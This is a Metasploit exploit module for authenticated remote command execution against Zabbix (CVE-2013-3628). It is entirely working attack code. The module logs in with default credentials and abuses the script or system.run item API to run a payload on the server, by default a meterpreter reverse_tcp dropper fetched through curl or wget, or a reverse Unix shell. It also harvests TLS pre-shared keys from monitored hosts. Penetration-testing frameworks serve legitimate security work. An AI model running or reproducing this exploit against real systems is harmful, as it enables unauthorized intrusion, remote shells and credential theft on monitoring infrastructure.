##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Retry
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zabbix Authenticated Remote Command Execution',
        'Description' => %q{
          ZABBIX allows an administrator to create scripts that will be run on hosts.
          An authenticated attacker can create a script containing a payload, then a host
          with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host.

          This module was tested against Zabbix v2.0.9, v2.0.5, v3.0.1, v4.0.18, v5.0.17, v6.0.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Brandon Perry <bperry.volatile[at]gmail.com>', # Discovery / msf module
          'lap1nou <lapinousexy[at]gmail.com>' # Update of the module / Item technique
        ],
        'References' => [
          ['CVE', '2013-3628'],
          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
        ],

        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Linux Dropper', {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'curl', 'wget', 'printf' ],
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => 'curl',
                'MeterpreterTryToFork' => true,
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Unix Command', {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse'
              }
            }
          ]
        ],
        'DisclosureDate' => '2013-10-30',
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'WfsDelay' => 60 },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate with', 'Admin']),
        OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'zabbix']),
        OptString.new('TARGETURI', [ true, 'The URI of the Zabbix installation', '/zabbix/']),
        OptString.new('TLS_PSK_IDENTITY', [ false, 'The TLS identity', '']),
        OptString.new('TLS_PSK', [ false, 'The TLS PSK', '']),
        OptEnum.new('TECHNIQUE', [ true, 'Choose if the module must use script or item way of achieving RCE, item is only available on Zabbix server >= 3.0 and the AllowKey=system.run[*] directive should be enabled', 'script', ['script', 'item']]),
        OptInt.new('TIMEOUT', [ false, 'The last API calls made can take some amount of time to complete, this is the timeout to wait', 120])
      ]
    )
  end

  def check
    auth_token = login
    zabbix_version = get_version

    str = rand_text_alpha(18)

    script_id = create_script(auth_token, zabbix_version, "echo #{str}")
    group_id = find_group_id(auth_token)
    host_id = create_host(auth_token, group_id)

    resp = execute_script(auth_token, host_id, script_id)

    if resp.get_json_document.dig('result', 'value').gsub("\n", '') == str
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def send_json_api_request(method, auth_token = nil, params = {})
    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api_jsonrpc.php'),
      'data' => {
        'auth' => auth_token,
        'id' => 1,
        'jsonrpc' => '2.0',
        'method' => method,
        'params' => params
      }.to_json,
      'ctype' => 'application/json-rpc'
    })

    fail_with(Failure::Unreachable, "The server didn't respond") if resp.nil?

    json_document = resp.get_json_document

    fail_with(Failure::UnexpectedReply, 'The server response is empty') if json_document.empty?

    return json_document
  end

  def get_interfaceid(auth_token, host_id)
    params = {
      'hostids' => host_id,
      'output' => 'extend'
    }

    resp = send_json_api_request('hostinterface.get', auth_token, params)

    return resp['result'][0]['interfaceid']
  end

  def create_item(auth_token, host_id, payload)
    interface_id = get_interfaceid(auth_token, host_id)
    item_title = rand_text_alpha(18)
    @item_title = item_title

    print_status("Creating an item called #{item_title}")

    params = {
      'delay' => 30,
      'hostid' => host_id,
      'interfaceid' => interface_id,
      'key_' => "system.run[#{payload},nowait]",
      'name' => item_title,
      'type' => 0,
      'value_type' => 3
    }

    send_json_api_request('item.create', auth_token, params)

    vprint_good('Successfully created an item')
  end

  def create_script(auth_token, zabbix_version, payload)
    script_title = rand_text_alpha(18)
    @script_title = script_title

    print_status("Creating a script called #{script_title}")

    params = {
      'command' => payload,
      'name' => script_title,
      'type' => 0
    }

    if zabbix_version >= Rex::Version.new('5.4.0')
      params[:scope] = 2
    end

    resp = send_json_api_request('script.create', auth_token, params)
    script_id = resp.dig('result', 'scriptids', 0)
    @script_id = script_id

    return script_id
  end

  def execute_script(auth_token, host_id, script_id)
    print_status('Executing the script...')

    retry_until_truthy(timeout: datastore['TIMEOUT']) do
      params = {
        'scriptid' => script_id.to_s,
        'hostid' => host_id.to_s
      }

      resp = send_json_api_request('script.execute', auth_token, params)

      next if !resp['error'].nil?

      return resp
    end
  end

  def find_tls_psk(auth_token)
    print_status('Searching for a TLS PSK (pre-shared key)...')

    resp = send_json_api_request('host.get', auth_token)

    # Searching for a PSK
    resp['result'].each do |host|
      next if host['tls_psk'].to_s.strip.empty?

      print_good("Found a TLS PSK '#{host['tls_psk']}' for the identity '#{host['tls_psk_identity']}', setting them...")
      datastore['TLS_PSK'] = host['tls_psk']
      datastore['TLS_PSK_IDENTITY'] = host['tls_psk_identity']
      break
    end
  end

  def exploit_script(auth_token, zabbix_version)
    case target['Type']
    when :unix_cmd
      script_id = create_script(auth_token, zabbix_version, payload.encoded)
    when :linux_dropper
      script_id = create_script(auth_token, zabbix_version, generate_cmdstager.join)
    end

    group_id = find_group_id(auth_token)
    host_id = create_host(auth_token, group_id)

    execute_script(auth_token, host_id, script_id)
  end

  def exploit_item(auth_token)
    group_id = find_group_id(auth_token)

    if datastore['TLS_PSK'] == '' || datastore['TLS_PSK_IDENTITY'] == ''
      find_tls_psk(auth_token)
    end

    host_id = create_host(auth_token, group_id)

    case target['Type']
    when :unix_cmd
      create_item(auth_token, host_id, payload.encoded)
    when :linux_dropper
      create_item(auth_token, host_id, generate_cmdstager.join)
    end
  end

  def find_group_id(auth_token)
    print_status('Getting a valid group id...')

    params = {
      'output' => 'extend'
    }

    resp = send_json_api_request('hostgroup.get', auth_token, params)

    group_id = resp.dig('result', 0, 'groupid')
    @group_id = group_id

    if !group_id.nil?
      vprint_good('Successfully got a valid groupid')
    end

    return group_id
  end

  def create_host(auth_token, group_id)
    host = rand_text_alpha(18)
    @host_name = host

    print_status("Creating a host called #{host}")

    params = {
      'groups' => [
        {
          'groupid' => group_id
        }
      ],
      'host' => host,
      'interfaces' => [
        {
          'dns' => '',
          'ip' => '127.0.0.1',
          'main' => 1,
          'port' => '10050',
          'type' => 1,
          'useip' => 1
        }
      ]
    }

    if datastore['TLS_PSK_IDENTITY'] != '' || datastore['TLS_PSK'] != ''
      params[:tls_connect] = 2
      params[:tls_psk_identity] = datastore['TLS_PSK_IDENTITY']
      params[:tls_psk] = datastore['TLS_PSK']
    end

    resp = send_json_api_request('host.create', auth_token, params)

    host_id = resp.dig('result', 'hostids', 0)
    @host_id = host_id

    vprint_good('Successfully created an host')

    return host_id
  end

  def login
    params = {
      'password' => datastore['PASSWORD'],
      'user' => datastore['USERNAME']
    }

    resp = send_json_api_request('user.login', nil, params)

    auth_token = resp['result']
    @auth_token = auth_token

    if !auth_token.nil?
      print_good('Successfully logged in')
    end

    return auth_token
  end

  def get_version
    resp = send_json_api_request('apiinfo.version')

    version = Rex::Version.new(resp['result'])
    @zabbix_version = version

    if !version.nil?
      vprint_status("Zabbix version number #{version}")
    end

    return version
  end

  def exploit
    version = get_version
    auth_token = login

    if datastore['TECHNIQUE'] == 'script'
      exploit_script(auth_token, version)
    elsif datastore['TECHNIQUE'] == 'item'
      exploit_item(auth_token)
    end
  end

  def delete_host(auth_token, host_id, host_name, zabbix_version)
    params = {}

    if zabbix_version < Rex::Version.new('2.2.0')
      params = [ { 'hostid' => host_id } ]
    else
      params = [ host_id ]
    end

    resp = send_json_api_request('host.delete', auth_token, params)

    if !resp['result'].nil?
      vprint_good("Successfully deleted '#{host_name}' host")
    else
      print_warning("Couldn't delete the host '#{host_name}'")
    end
  end

  def delete_script(auth_token, script_id, script_title)
    params = [ script_id ]

    resp = send_json_api_request('script.delete', auth_token, params)

    if !resp['result'].nil?
      vprint_good("Successfully deleted '#{script_title}' script")
    else
      print_warning("Couldn't delete the script '#{script_title}'")
    end
  end

  def cleanup
    return unless @host_id

    delete_host(@auth_token, @host_id, @host_name, @zabbix_version)

    return unless @script_id

    delete_script(@auth_token, @script_id, @script_title)
  ensure
    super
  end
end
